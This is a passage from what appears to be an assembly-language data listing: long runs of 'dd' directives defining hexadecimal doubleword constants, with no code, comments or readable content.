0ABBEEE63h dd 8E8B95E1h, 8DB1311Ch, 7171D3F1h, 1DFA543Eh, 92E9BF5Ch dd 0A1EF533Ch, 97285DAAh, 51755D8Bh, 0FBE9FA73h, 0EFDEB3D4h dd 32DC371Eh, 77C39D55h, 7C155627h, 5CE167DDh, 0C0AE67F5h dd 0DBE679A1h, 5CC94F90h, 6CF01256h, 3B729740h, 0D555BF70h dd 350C976Bh, 4B9871FEh, 68B381A6h, 0E63C40Bh, 0A6F4C895h dd 0B1A57D9h, 0CACC21B8h, 64CB3657h, 361DBF95h, 1F0EA1A7h dd 1932A86Dh, 0EACC3FC9h, 0B09C631h, 768EE332h, 0B14AF673h dd 23BD15F6h, 0BADADC20h, 3CE60179h, 50003492h, 0B0A0A6Eh dd 0A7C01B63h, 0CD177D21h, 0C3919EA1h, 28A9BEC1h, 856D1D79h dd 0B98FE0AFh, 0D4E48EB0h, 6DEBF509h, 53B50DBFh, 41C79773h dd 0B9943438h, 19F39328h, 520FAFC4h, 0B925F054h, 0DFD6BEC6h dd 40C1B1A5h, 40F2F389h, 31D2BE63h, 1EC2E343h, 1EAD4AEFh dd 94F5E9A9h, 0CA56B85Bh, 0C0CC39ECh, 96788D1Eh, 0E58DDB9Fh dd 195B693Eh, 3F35FA95h, 0CB02F76Ah, 8D8E4155h, 626C3E6Ah dd 4335C238h, 0A4911CF5h, 0B04F60h, 2137DC23h, 0A7374746h dd 0F887BCCEh, 56F417D5h, 4296FE5Ah, 79CB9A6Ah, 11DD30E0h dd 0F5626035h, 0B6C3EBC1h, 0F4A00739h, 818F8949h, 4F6EBECBh dd 0BDD50C6Eh, 0EBCF96Dh, 0EFD610Bh, 8271D973h, 90DED050h dd 8A201716h, 0F3E79C2Dh, 0D46927FBh, 2B41AA64h, 0F3F87696h dd 0D88E0820h, 97DA679Ah, 9BFB6F45h, 74DBF7B6h, 4E9010B0h dd 1CCBFC6Ch, 0A79C9C0Fh, 60334D0Ah, 6C721261h, 0F67CE94Bh dd 0C4769AE3h, 0C065A9B1h, 68219EA4h, 3586A776h, 50B4DFD1h dd 521C8A09h, 2AFA8A56h, 4230E0D8h, 0A4969648h, 81A76957h dd 0CF019B2Bh, 3AB3D355h, 567757B1h, 35007A76h, 4D3FF1D8h dd 25994D0Ah, 0B642EA52h, 0F2471EC9h, 0CEDD1462h, 251A457Bh dd 0BC36E002h, 3482A807h, 0B1A90973h, 9E0E25FCh, 0F1E3258Eh dd 0B31F9B15h, 8214515Ah, 0A984D1E1h, 4C715C5Dh, 75EBEFE7h dd 0C645BC33h, 9CE9332Bh, 0BE8AFE39h, 807C634h, 0D04FEC80h dd 51825513h, 0CBF5FD9Ah, 0AE611CE7h, 936D2032h, 625D858Fh dd 97491991h, 0A7087289h, 250E97F3h, 31DB1ABDh, 0FAA3454Dh dd 0E421A97Ch, 6C061C59h, 960FE82Fh, 5E965740h, 0E5D3BDC8h dd 5A889A68h, 5CCF9CBFh, 1B3FF12Dh, 2F11A38h, 0F9F8CCB5h dd 6861F4E6h, 7040CA73h, 0BB09A933h, 638D4B0Fh, 89691374h dd 3CB24BFEh, 0D5EE8B6Fh, 236DDC93h, 483A89A8h, 0D224E611h dd 4884BB14h, 0A60BF354h, 86B8433Eh, 0F7D7E048h, 0D065FDD7h dd 6B1A5647h, 691B022h, 3F4F0500h, 0EFEF4D10h, 2AA0657Bh dd 0A653E024h, 84067668h, 1E068387h, 98324C5Ah, 7BE5C126h dd 58B607C5h, 0FD9D977Ch, 72C7D337h, 0BDA411Bh, 3383BC03h dd 0ADA4EF22h, 0AB2BF92Dh, 6DC16DEFh, 0A0E577E7h, 0CD3816B1h dd 5D9E37EFh, 87FA4180h, 0E796E36Bh, 0FE728B2Eh, 94E20671h dd 42872B62h, 3D00C12Dh, 1FA48B61h, 0EC89398Bh, 286E8B4Fh dd 0A39F9D8Dh, 0C11D7C0Eh, 0A7D70E3Fh, 7C0E7E67h, 21E57B0Dh dd 7917F9DDh, 0E64793E9h, 0FF82DC05h, 0F90A63BAh, 305E4072h dd 903E54D4h, 31057BD7h, 84593ECFh, 24237ACDh, 45D6D4FDh dd 3D043A43h, 7A345D05h, 2DCE86D4h, 203C0DFBh, 95F88C5Bh dd 0D742086Eh, 488E025Dh, 9D26C31h, 45C8A322h, 6C6FFB6Bh dd 0AAB975A5h, 0CE5F8746h, 9A6935ADh, 0CA1712A5h, 1A6E180Fh dd 0F2293E54h, 0F96C456Dh, 0D67D4CACh, 0B8BAB75h, 3685E6CEh dd 0D7B4912Ch, 697AD421h, 0E20BE6B5h, 0AC716496h, 0F9B9E732h dd 22105975h, 70A73B9h, 0F09E9AD8h, 0E00D54BBh, 789C44EEh dd 0DFC25914h, 0E2157097h, 0DC15828Dh, 9BFD3C1Fh, 0D32DFC0Bh dd 457B5716h, 0FB2A55A6h, 3BAE379Ah, 171AF3B6h, 0AFC8AA1Ch dd 66421512h, 7E37B603h, 7E40D06Ah, 1048316Bh, 85D0EC60h dd 0D59B1F4Dh, 4A230BABh, 69E3B02Dh, 3C790143h, 0B93B2C83h dd 0AB2A7D80h, 624677B1h, 0EE9D1Dh, 0B91664F6h, 892F7952h dd 308C92A9h, 69DAC68Dh, 8ED7EC95h, 7FA1B4C9h, 0C7F7CC08h dd 0CFC3794Fh, 0DFB6D7BCh, 0D7C49BC3h, 0AE6A1804h, 843A78DEh dd 4410F8A1h, 0D69EAB8Ch, 5E1AC105h, 0E6DB06D8h, 355B60D6h dd 0A24D79Bh, 0EBF69A31h, 72C49665h, 0CB9BD999h, 5F1600Ah dd 7B3C70ADh, 99B1406Fh, 0A7D13E36h, 2AD59D46h, 6C1AA9D1h dd 0E9D3A1F5h, 0ED277C79h, 0CB1F5CD6h, 0CDF90AAFh, 4200BED4h dd 9BAE1727h, 0BA399E1Bh, 125B20E4h, 68997B29h, 1682C22Eh dd 3E6F6404h, 0AF75B244h, 1F881EBDh, 8AD8EB6Ah, 0A52C9BF3h dd 8690C8FDh, 1F940668h, 34E83684h, 4CE025F5h, 71BFE3EFh dd 0A4FAF966h, 46B23158h, 363C7F7Dh, 7384E278h, 84940780h dd 0F2B7A39Dh, 7F3DF179h, 10F9B313h, 0EDD787A8h, 8F4AA1EDh dd 7053643Dh, 141BA414h, 0EE718388h, 6186CA7Fh, 8963B177h dd 0D4F52BEFh, 977DB0CDh, 54F63225h, 5246025Ah, 0C989570h dd 2B6955Ch, 5A296FF0h, 202EC0D1h, 0FA2B1852h, 5C26C3DCh dd 0DCF4B08Bh, 0AE28A481h, 0B6E0DC94h, 0D58E6190h, 0FE62A5F6h dd 9C20C352h, 1C330D88h, 41563745h, 0DB0CB148h, 93661344h dd 0A913FF85h, 0AE31AD65h, 55AA603Ah, 54307F91h, 0CA4D6EB2h dd 7000DB94h, 2F5CFA27h, 0BF03B273h, 9CE0CEC6h, 49FB49CCh dd 0FE1E6995h, 211EF100h, 0C5AF4737h, 188A9AE2h, 717B820h dd 0CAEDAA5Bh, 34774AFh, 0D514A7DCh, 0B953C16Bh, 50CE76B3h dd 8ECD26E0h, 4450B116h, 6E7E7917h, 0FA2F7339h, 9CB5247Ch dd 0C963D02Ah, 10BFD077h, 0A7A8DF56h, 3E9EF07h, 8A5F7F9Ah dd 718085B9h, 877A8E45h, 0DED9845Fh, 3A4AA7AAh, 0D3C2426Bh dd 45EEE88Dh, 48EEB251h, 2F818211h, 0F1330AC6h, 19637AC1h dd 8DC2174h, 2948888Ch, 9E1F7Eh, 5CA006E4h, 0AFCE4DD2h dd 0E600CE0Bh, 2BBF1B6Bh, 0C8F701C0h, 6B03BE12h, 8DC328C8h dd 0E85CE1D1h, 54C9A02Dh, 0C062536Bh, 0A7B77B5Ch, 11A3D6E0h dd 8125711Ah, 0DA5F2494h, 3BC226F4h, 39EC89ADh, 2B18448Ch dd 0E3CCB8C8h, 2B238C3Ch, 0B5240CD5h, 59A68755h, 0CD68CB62h dd 393FCC05h, 0A757D008h, 40B24BBh, 0FBECAE33h, 0E68C41D9h dd 9413C497h, 9C170423h, 0FB5F360Bh, 394EB3A6h, 8429F96Fh dd 0C2E1BFB2h, 38EED342h, 0A27C47B2h, 3C467C38h, 9AAED6CEh dd 98530FE4h, 96B0B1BDh, 5A0B8634h, 0A3C49CB1h, 763AC98Eh dd 5769DC69h, 452A8FB8h, 0D6F69B7Bh, 84A1262h, 0EA9215DAh dd 0D773FD6Ch, 0FAC57B15h, 4657356Ch, 4441CD46h, 21D1C0B8h dd 19C220E2h, 789823B4h, 0A17150Eh, 0B11F59C3h, 775ED7E5h dd 0DD6B648Bh, 0CCF3C6E1h, 8AE91D5Ah, 114E0DD5h, 7933E76Ah dd 0DF180C01h, 1741DA0Ah, 677396ECh, 7279341Ch, 3D7DF54Ch dd 18FE4A34h, 5C83D6BAh, 0A711A547h, 4173BA68h, 1054D646h dd 0E3FEDAB3h, 0DF1B5977h, 569FB760h, 0B4FC58Dh, 534FB41Eh dd 0C476ABBAh, 841301E8h, 13C25A1Bh, 131C98Ch, 45196AD8h dd 6EA602A9h, 17E1834h, 47BB5890h, 3410A9BAh, 3CC80C0h dd 133EFFB3h, 0D8F1792Ah dd 383EFE29h, 0A53634E2h, 4EBEE534h, 3529F8BAh, 0BE506C6Bh dd 0D56D0F97h, 0E0E0C6E7h, 0CB1E4B4Ah, 48CF9040h, 5D0ABFE5h dd 0B5AFFCEDh, 9AB3EF06h, 0AEDA7196h, 83C96DBFh, 73DF94C4h dd 2D0051F0h, 4CD591D3h, 14BF7F9Dh, 0D45FD9E0h, 134313F4h dd 23C83951h, 2861FD29h, 86EBA96Dh, 636D800Eh, 868EDEDDh dd 0D2E812B6h, 0B616E393h, 92FF87Dh, 0E43F627Fh, 7F219B4Bh dd 0C3CA8933h, 7599D80Bh, 9DBD51B0h, 87ACCF9Ch, 20F45690h dd 3E254292h, 75923328h, 20405229h, 7B15245Fh, 97106A5Ah dd 2D4ACF87h, 5EFBB321h, 0FF78A795h, 96FD8057h, 0EB8BE406h dd 0C2D522B6h, 0ECEE43E6h, 57DCD321h, 0A4CB588Eh, 0E4AA8FF3h dd 9E26D6A0h, 216D8643h, 6CA6F721h, 34A93103h, 640D58D3h dd 7C43121Dh, 4A777D00h, 18A70283h, 0F8140F84h, 98424839h dd 0B5DF9759h, 7D54D28Ch, 81547644h, 8A806104h, 0D1E7CA24h dd 0EF18F2F6h, 0C2EA815h, 1935A7DDh, 0D5B71C31h, 0B12C171Fh dd 0C9AFCC4h, 0AA67647Ah, 7DF5A8DAh, 0F2A84DBCh, 6FB34661h dd 0BF542926h, 4D09167h, 543147A9h, 0C1A83FBh, 5D4585F1h dd 523D1E12h, 0E375CEFEh, 0D1460D03h, 38D4F68Dh, 0B103F78Dh dd 0B124210Eh, 6E911833h, 8F1C6BAh, 4B0E7E93h, 0D4FD54FFh dd 49EC455Ah, 10F99621h, 506CF9DFh, 2C0BF0BBh, 0F723B130h dd 0CFEA828Dh, 91BEDAC8h, 2BAFCC73h, 0F1C01D41h, 0F19B1901h dd 0B199B966h, 94EDC491h, 54E75EB2h, 0ACD6A49Eh, 9CA3C89Ah dd 975CF8Eh, 155C3873h, 0C69339E3h, 80759813h, 3DAEB490h dd 850065Bh, 86859B2Ah, 0B60620ACh, 590E6598h, 1F46BEB1h dd 0B8F9814Bh, 46DD1A3Ah, 62DAAD96h, 870E4AEFh, 0C2641D17h dd 8D8A2B83h, 0CBE60AC5h, 0D6A83011h, 492CEB98h, 72F4AC56h dd 0B35C6885h, 0BD24CAE5h, 3E02B44Bh, 0B9522504h, 0D19B615Eh dd 865A8968h, 0ACCEBF7Eh, 0A2C0813Dh, 0AB836349h, 37AD1AF0h dd 2090A151h, 74FF0027h, 89240BD6h, 5EC3FC49h, 0CCCD0650h dd 3B5E6681h, 16F8EEh, 114C4BBDh, 4C5BD1BBh, 63FCE68Dh dd 10A879DFh, 0DF99F614h, 17265121h, 0F7468E3Fh, 75535974h dd 0B5E0C488h, 0E471AFDh, 0EB4B06Ah, 0FA10815Eh, 42DC5FB4h dd 148A40A4h, 0D7D373A8h, 582AD782h, 48054AF2h, 3E5E75AAh dd 7A27407Bh, 7487A65Ah, 85367D98h, 0D882F89Eh, 0E39C9D3Ch dd 6C9D8F5Ah, 0A7815014h, 0F79A8461h, 359EA68Eh, 5A952100h dd 22531536h, 0C606E65Ch, 0BA4E03A9h, 185CF096h, 6B2C5882h dd 0DFA99A2Ch, 0B9F8EDAFh, 0F78D6C2Fh, 8F77342Eh, 329204EDh dd 827BF746h, 291F6CEEh, 36836FF4h, 324F46D4h, 60E565BBh dd 0AB9651D4h, 4133944Ch, 7B44E11Dh, 0EB340EDEh, 1D622656h dd 0DA3BE5E7h, 0BABA1E91h, 5BCC289Ah, 4216FB10h, 6585FFEh dd 0EC0DBED5h, 36BC93F8h, 72E0A20h, 8ED54283h, 1E0CE32Bh dd 43446B44h, 9A69BD17h, 291D6A33h, 0FF03BE0Dh, 0C6017360h dd 8B65D040h, 4F905835h, 89451E62h, 287D49EFh, 0EF89129Dh dd 0C374F66Bh, 90D60C6Bh, 5C5837EFh, 0D5BA66Fh, 35629B9Dh dd 17B8639Ah, 9EF2D2F4h, 5464A5B4h, 4ED35CB1h, 0DA89BD65h dd 1A9E2BFAh, 0A100A19Ah, 0A3A8E0BAh, 0A27929D1h, 98391BABh dd 7BC6A99h, 3BDA022Bh, 0D1BD9AEDh, 8C2321A7h, 0BC6F671Ch dd 7B55FEF4h, 43476BA8h, 0E38365A8h, 275ECDBBh, 0F05FBB3h dd 76D57340h, 142BA5E9h, 0B187C42Eh, 3072620Ch, 31C6C5E5h dd 74B7FEF8h, 0C5A79279h, 8FB44ED0h, 7F32F534h, 0B73357D3h dd 3F9530EAh, 30C70D3Dh, 52EE96C0h, 0E281B464h, 0A2CF5472h dd 0C5E67735h, 0B7EABA99h, 4CFADDA1h, 420D78Ah, 7FCA5F57h dd 7AB1917Ah, 950C0E47h, 88506717h, 0D7AEF36Ah, 17D1643Bh dd 9531525Eh, 594071Ch, 57957936h, 23AEE737h, 6DA22F6Eh dd 16F3B112h, 0B941BEFEh, 0E0323EA5h, 144DD63Eh, 9E77E585h dd 52350D2Eh, 341450ACh, 6DB8EF5Ah, 0D23FC539h, 811EE460h dd 2C0AE020h, 0B4E2E1FFh, 5534D25Dh, 786348FFh, 2ED674D6h dd 6ACF2EDFh, 0F1138C1Ch, 0A3C4C77h, 1BDD651Dh, 0F60CC375h dd 0A2DA7B3Fh, 0FB8CEE20h, 55A25B20h, 6638140Dh, 770BE8E5h dd 0B5326212h, 3739D63Ch, 0FC1DBFF1h, 675FAF3Eh, 0D630B06Fh dd 8C32B199h, 849A7B9Bh, 0F0D164C1h, 18FA08F5h, 5F3A40D8h dd 6F0AFB40h, 159F1AE1h, 606FB1D4h, 271930C8h, 245FEC01h dd 1A9E6CA1h, 3870E18Dh, 6493764Ch, 0B4C9B2FAh, 0F15A8459h dd 0CC03802Dh, 52CC2B2Eh, 0D45103B2h, 4674AAFDh, 0A7041A36h dd 362E297Dh, 5FA8EA12h, 0E5FE77F8h, 88CEC6CAh, 0C4EF90A6h dd 3051002Bh, 184A1184h, 0C6D67233h, 480304D8h, 16AA008Fh dd 0BB906B26h, 8521BC2Eh, 4FC197FBh, 0F8AC9006h, 62B833CBh dd 0FE4E36C7h, 2E9FB084h, 632E4CABh, 0DA8DB198h, 605C821Ch dd 120BBED3h, 0C26ACA75h, 44ED3306h, 30839E16h, 1E3B1D62h dd 0B6C477D2h, 95018055h, 0F9040524h, 21A4CDC9h, 311BE6B3h dd 0FC6CA8D3h, 0F621C2D0h, 54C18502h, 86318880h, 0AB266253h dd 0E107898Ah, 2F5F86B6h, 0C3E5453Fh, 0C5CC86BCh, 6DDC3719h dd 7293AB0Bh, 877C876Ch, 40291487h, 623481A5h, 6FD30A3Eh dd 0D4E172DAh, 7E316E42h, 45E35B82h, 0FE94E333h, 689F87F0h dd 0EE4D5D70h, 0F50D5B96h, 9B900A66h, 5B2DDA69h, 0D46EBB24h dd 3429EE48h, 0E06982A7h, 0C581EAC7h, 0CA33C97Ah, 0CA974425h dd 0B442CEF6h, 53406034h, 657C676Bh, 6128F958h, 0FA6E11CCh dd 0ED9D9852h, 0C37C7364h, 520EAF8h, 0B504A98Ch, 11196494h dd 0E362EEBFh, 61101588h, 9A2B96A1h, 54CFB271h, 48EA205h dd 0F2B43EE8h, 4881E2B1h, 0AC4DF8ACh, 8381778Eh, 8B029EE1h dd 0A198D9C1h, 0A4C5E898h, 0FA217896h, 0B5289AA0h, 2358E62Dh dd 0B5046476h, 8D4C290Fh, 890B47E0h, 0B7B59051h, 4147DEAFh dd 0A298192Ah, 0BF0DA253h, 7383E76Fh, 29F8223Ah, 0D2341648h dd 8168376Fh, 98971519h, 9EEAB33Bh, 3D40B5F2h, 6EDB7FD1h dd 0B8A29220h, 0A64DB785h, 0C40AB71Ch, 0C9AC6A8Ch, 0E7BE77BDh dd 689C7A15h, 0AE51D7E3h, 2BC15BE1h, 3A9CE775h, 80AC0B1Bh dd 3F744532h, 8BC88CEFh, 9757620Fh, 9F85A2D3h, 28FB54B4h dd 0D26BEEB3h, 6C5ECA70h, 0CE5DFBAh, 299A57E6h, 6255E157h dd 0A01CC22h, 0A043B689h, 0C3C6A75h, 0A33F35A3h, 0C2696BBh dd 7408AFEBh, 31E7CA0Ah, 1422A8F7h, 86521493h, 39E8470Eh dd 7F41CA5Bh, 42282256h, 0CD680A62h, 0D7EF3B6Dh, 45BCA422h dd 54AEFDDDh, 313BB59Bh, 410159D0h, 0E40F0571h, 5461537Dh dd 68148A87h, 0A8EC64E5h, 43F6F75Fh, 1235E1h, 64F5B80Ah dd 761D7922h, 32B96B6Ah, 0D846BB61h, 0F3A79DCBh, 0C71B0DCFh dd 0F2C11BB5h, 8B2EF587h, 51AB51D2h, 0D5826FDAh, 9EFF4783h dd 16D2F0Dh, 5B895FE5h, 632278CDh, 0D9075457h, 0F0728267h dd 0A52678D2h, 581C6F60h, 92E10FCFh, 46CE1693h, 0E8FEF546h dd 25D7FEh, 92B21A6Ch, 67C22592h, 0DD38E580h, 0AF283999h dd 23F5C762h, 0E423F940h, 0D4895A1h, 0C0EB86D5h, 0CA168805h dd 83227CAAh, 96682160h, 268CE26Ch, 973E62E6h, 3838DF93h dd 0BE31F151h, 5AEC0499h, 0A9F0B214h, 8BEC7AB6h, 2D0C00A6h dd 2869149Ch, 54FA8320h, 0C55F53E0h, 0DFF2C283h, 0A6BC6182h dd 0A7BF9A62h, 38F92468h, 0A56BD23Ch, 9AD01A35h, 140425C1h dd 64530130h, 945A1CAAh dd 6A9AD08Fh, 8FAC516Fh, 0F9F74BD3h, 0D36170EBh, 0C01AA738h dd 6F6DEB69h, 7E86241Ch, 0BEDDE19Dh, 0C7BD8C62h, 6FC0C0C9h dd 0E32C2857h, 84305C25h, 0C504A67Ah, 0CF3A8185h, 8A7783E6h dd 0A7E5A32Fh, 966AA424h, 63F049C3h, 9261A926h, 0E1DB3B21h dd 8289E1CCh, 0BA5B82F1h, 0EBB54129h, 16DC7766h, 0AE9485E0h dd 897EAB36h, 0E4F6D38Ch, 0EA9A24BBh, 0B7016F27h, 3804454Fh dd 0CF0CAA13h, 0C577DBA2h, 7A241357h, 61F345F3h, 89B9A9EDh dd 710EDA7h, 0EBB8AFF8h, 6F977774h, 0A49AC9A4h, 0BAE6258Eh dd 6267EFEAh, 0D2DE7483h, 5C426596h, 9721A3E7h, 255632F3h dd 2660F83Ah, 5E9D896Dh, 0A14911F5h, 248966C5h, 0C5443110h dd 54693BE1h, 32A844F5h, 47772735h, 0B4025250h, 1E5EFB3Bh dd 1D357AF4h, 71A3FEB9h, 0F7DE1299h, 85E1557Ch, 56760F6Eh dd 11434249h, 2915D443h, 0F0FF770Bh, 3327BDC1h, 0E012628Fh dd 0C78D5EDFh, 5141EA7Ch, 914168D3h, 61A0E98Bh, 0FAF89F4Bh dd 618C5B03h, 1D41128Fh, 990EAB9Ah, 2FB05313h, 50BAD4C8h dd 0C5E62C5Ah, 0AF242262h, 0D9A3B209h, 0C0B1F3E4h, 0A0818A52h dd 276F15F6h, 0B050F819h, 0C291DAD5h, 0E980CE35h, 9D97128Fh dd 0F01A3A62h, 4084F580h, 1FA21457h, 35E3CC3Ch, 15B38558h dd 76BC1A08h, 75AADF5Ch, 0F01F1321h, 28850392h, 53010090h dd 0E63DBF3Eh, 597A3282h, 0ED29682h, 0D19FCCAAh, 1770AC1Ah dd 17C8FD63h, 0A6241472h, 0D95F1122h, 39E7BE2Ah, 5000972Bh dd 0F9361941h, 39D2FE00h, 940F9459h, 0B33C453Fh, 0E5818364h dd 0F673EB40h, 0D322B146h, 0BF31DDF7h, 3EB8046Ch, 9B2585E8h dd 7EC2F55Bh, 8FC44D3Bh, 0E239A506h, 0B67FAC34h, 825D1258h dd 0FF8E8895h, 0B6A6D6Ch, 4BA8FF17h, 0D3F44198h, 0F99B2949h dd 553E511h, 86F7813Ah, 0EA1D9095h, 0E395CF3Fh, 27324B6Ch dd 532B68A4h, 7E577E1Ch, 8E097D26h, 5C4DA742h, 0ABC4AD45h dd 0FA643254h, 0FD25D716h, 49B77281h, 2B29137Ch, 0EF769B12h dd 0E2D854B2h, 5C6CD3EBh, 0BF7AB967h, 0D5BC9474h, 169E027Fh dd 34CD17E5h, 1A38063Ah, 7211D870h, 8F99A7CAh, 0DFD1E9FFh dd 0D7666914h, 0B4CADD2Fh, 8B07F46Ah, 11D4043Ch, 0E9AF3DE0h dd 3B5A5FCAh, 0ECE7C7A4h, 545193BBh, 0E6C0FDDCh, 0D726190Dh dd 6AE7F214h, 302923E3h, 31F91108h, 0F223D62Fh, 2E96AB89h dd 45CD147Fh, 0BBF56728h, 0D3EB6572h, 564910D7h, 31EE06Fh dd 5D4B5A9h, 0ADD599E3h, 60F11EB7h, 0F596ABC2h, 104ACEF5h dd 8505DD2Fh, 2A8B688h, 34B92C6Bh, 96BFB612h, 26D67FA2h dd 5F72AD68h, 0C1E5046Bh, 8BAD6826h, 69174567h, 64C22978h dd 9ED1AE52h, 4A297E42h, 0F1A6D81Eh, 0A0FBBFA2h, 68D7EB3Ah dd 0E33A22A7h, 4D7EC797h, 0D24DD048h, 8711CE1Ah, 77C6C706h dd 0AFACA002h, 0DE21AE9Eh, 157748F8h, 0EF557F83h, 5F112F4Fh dd 48CC0DBDh, 0BCFE0D1Ah, 18EAFDE6h, 0BE91A204h, 0C75CEB5h dd 9627AE78h, 0A5FA4AEDh, 90F24597h, 73952C4Ch, 0E3EB0BE5h dd 5F1A5FF7h, 3469D83Fh, 5C2DCAF8h, 0E352768Ah, 57B3D694h dd 19103316h, 171AD6CBh, 0CBA328D6h, 0E6357CC0h, 2638EC40h dd 24925F6Dh, 0B7111B74h, 2E7AC04Eh, 143FE4AAh, 5108AACBh dd 3F01F780h, 66E305D1h, 8AF3A4D1h, 2D9B807h, 536C90DFh dd 8BB66613h, 0C4002B34h, 0D6636B0Fh, 78E6F987h, 0DCE784Dh dd 0F38B9E69h, 22D51C7Dh, 3548C42Eh, 0DF69BA8h, 0E4357AAFh dd 51348D55h, 7121A403h, 6BFB4A58h, 87FEF717h, 0C8BBEF19h dd 28BF7D51h, 1F17869h, 7D8B4E10h, 0D31E24F0h, 0B34F434Fh dd 63AE3F96h, 3C648EC4h, 0D7A66EFAh, 797D4598h, 34AC8540h dd 0BCB6A2D9h, 3C9C551Eh, 0EC830DAEh, 7AC7651Fh, 0E39537D2h dd 0C48FC913h, 0AC79D7ADh, 0C24D7CFEh, 6CAEE3E0h, 0C8283B2Ch dd 73083AC5h, 0CF0AA2FCh, 1CF12C7Dh, 8967178Dh, 62602E1h dd 8DE2B8E5h, 0C56834BBh, 192B6CA6h, 64799DD4h, 25056DC2h dd 0A671A8D9h, 0EF914A6Fh, 4BAB2618h, 0BD90BE24h, 0E9BEFC21h dd 1B4A7496h, 6EC37C79h, 20FF1E08h, 0ABB9EA4h, 0D94BBCC0h dd 5D23D606h, 28002DF1h, 8C683FDBh, 2C68CCFCh, 92F771BEh dd 0E7A0646Fh, 4495B3FDh, 0FC5D1934h, 733B7DD6h, 0A636B6C5h dd 0C4F94B6Ah, 28FA827Dh, 95BBB2CFh, 0A5CDC099h, 1654FE9Bh dd 0BDCB5125h, 0F0E239C9h, 0E0F28492h, 4A118B45h, 3CD7662Fh dd 0A827E6EFh, 0A76285A3h, 1F799A34h, 60B81A6Ah, 2259862Eh dd 330E1CD0h, 20920B94h, 0ACF6E965h, 0E6ADFE21h, 3DFA09C8h dd 0F2D24A87h, 8FFE0B0Bh, 69EF3B92h, 126E835h, 0AC20FB7Bh dd 19AF286Eh, 2AC6A03Ah, 986DE07Ah, 4C65D146h, 0D818D4ABh dd 53476909h, 35C7106Eh, 0ACD961C4h, 92B4F548h, 7B2D657Bh dd 64D9EC93h, 15B9C103h, 95B2541h, 0E41FA369h, 0FACDED1Eh dd 2E846D36h, 54044391h, 615BDF7Eh, 23104B89h, 0BFEA3B8Ah dd 258D403Fh, 0CC2F3772h, 0FC53F945h, 0BA1BDA80h, 0EE8AF27Fh dd 0C99DAF38h, 812CB657h, 298F644Eh, 65C01D49h, 685E3A43h dd 0DF10727Ch, 0EE1AA86Dh, 0DB8F0C35h, 59CDAD7Eh, 9967523Ch dd 0E84E9713h, 0ADB56B49h, 0FFA0D257h, 3A1731DBh, 0DFA6B242h dd 0BD972A53h, 0BAFE1916h, 0F6D28BB5h, 76A53157h, 8E73C81Dh dd 20D9E01Dh, 0F9DBC8E2h, 0A697F24Eh, 0A516421Ah, 0FD28DD17h dd 0A8D4D7BBh, 26CADC13h, 6C8B2EB6h, 6FE891C2h, 80A79F71h dd 713B48B1h, 8F5F83BAh, 64EFA085h, 32A70C4Eh, 0FD8311EFh dd 5C2D3EA1h, 0EBB2652Eh, 1E996FEAh, 531898F7h, 0A6F4D549h dd 40C9A3E5h, 69823339h, 638728C4h, 0BFA806BEh, 3FD2AB20h dd 0DF0D1535h, 1AF6E882h, 0D74C48h, 55E59C88h, 0A594B600h dd 8E1C6AD3h, 51352CAh, 0F3F9EDCCh, 0CA2E0294h, 0EA36858Eh dd 99DA0257h, 0F6A65AFCh, 0E008F231h, 0E3D0E5DFh, 0F825AB33h dd 24BF053Fh, 93062335h, 87242925h, 0CA2D1870h, 4ACFAFDFh dd 0AFB00BDEh, 0CF784F9h, 2087674Fh, 97AB642Ch, 0EB894054h dd 4ABAB6C3h, 4CADE0DEh, 9641BC34h, 0FC82B24Ah, 6DAC6746h dd 398A0804h, 66C43815h, 65A8F1DDh, 90EC9729h, 77C2473Dh dd 2461D8F5h, 9A5FA474h, 88D13A93h, 1BF6A545h, 0CC980207h dd 0D92CDDA0h, 0A3C4D163h, 0CE8EB284h, 0AD8B4068h, 242489E7h dd 95EDCD92h, 0DFBCAA81h, 44F827A3h, 8710755Fh, 0A9081F08h dd 544D0417h, 40C5386h, 0F48A9AD7h, 3BEAC26Eh, 0B025DFEEh dd 3B4AE381h, 6C62DA0h, 0C1B49F50h, 1B5E6B61h, 3354A26Eh dd 0A0478FE8h, 4419B290h, 0F54632FAh, 0A73F4928h, 21A00D0Fh dd 9457575Ah, 0B83137D5h, 2432F8C6h, 0D135FBF3h, 64BD7C47h dd 3033815h, 0AD481A8Eh, 1CFA9C88h, 0DDCE7CC1h, 31EC8040h dd 45B1016Ah, 0F78F7EB6h, 9FB3CAE1h, 0C9C8A812h, 92DA39DFh dd 0D1722D59h, 0B8AE6F15h, 97E21E80h, 1A747C39h, 0ECFF3F73h dd 0F05527BFh, 4A6507C7h, 6DC29B94h, 0F6416D0Eh, 0F5A9DCCFh dd 0D54D4680h, 0AD5C9AC7h, 67EAB386h, 3E84D157h, 0A5DFA67Ch dd 4AB7A7B5h, 783AC151h, 0BDEE124Ah, 0FF86525Eh, 6E79265Ah dd 45A42090h, 8D1420C1h, 5AB2C1D6h, 0F5E77B9Ah, 0A8BA2D2Ch dd 0E7790F5Dh, 13D03D2Ch, 7A825A6Ch, 4A9C981Ah, 288AC5B2h dd 0C362124Bh, 1DE66789h, 5CD6927Ch, 0B401A286h, 0A66ACBEh dd 2E354FB3h, 8317B933h, 0C563BA6Ch, 0BCA016F8h, 5382C4BBh dd 0B0DA6807h, 6F47245Dh dd 0E1C20A64h, 1622BC9Fh, 4319F25Ah, 4AA04F24h, 6FE0511Fh dd 0CDE72F73h, 0B5AC4722h, 97056580h, 0EFCF0B4Bh, 0CF3CDF90h dd 0A5A5A53Eh, 0CCD209B1h, 84C0C82Fh, 0E8383FDFh, 0CF4AA4D0h dd 0C3A3CEC0h, 4B335F49h, 0D9B1A1BAh, 4A556A9Fh, 4A66035Ah dd 0EDA529B7h, 0ED6BED1Dh, 0DAE65CBFh, 971FE7F1h, 9919186Dh dd 9EBCA7F0h, 0A90A1019h, 0C5AB8C75h, 6962279Dh, 69DCDB91h dd 0B6C77951h, 8922AFFBh, 0E808703h, 75D56D6Eh, 82CB910Eh dd 94BEBBAh, 2D949F0Fh, 28264C9h, 0D9D85367h, 0F3BA03F6h dd 102CE3E4h, 9175C5D8h, 0BA59B64Bh, 0B8B04654h, 4BF9B4C8h dd 2CAACEE9h, 0AE670FF1h, 0F59915A4h, 95FBC236h, 2EE1CCCFh dd 45237D27h, 179A77E9h, 0B74BF479h, 0B15D3E60h, 0D8279A5Dh dd 3FAEBB3Ch, 2597BB7Fh, 0F1F58E6Eh, 99552066h, 75CF807Ch dd 0B1506D5Ch, 57AD9312h, 5BAB6D00h, 0F88FD384h, 0E0970FA8h dd 0C75A1752h, 0A69B616Ah, 4D4961A5h, 0F15DEAE1h, 28A9776Fh dd 6CC7DA74h, 5C01CFF0h, 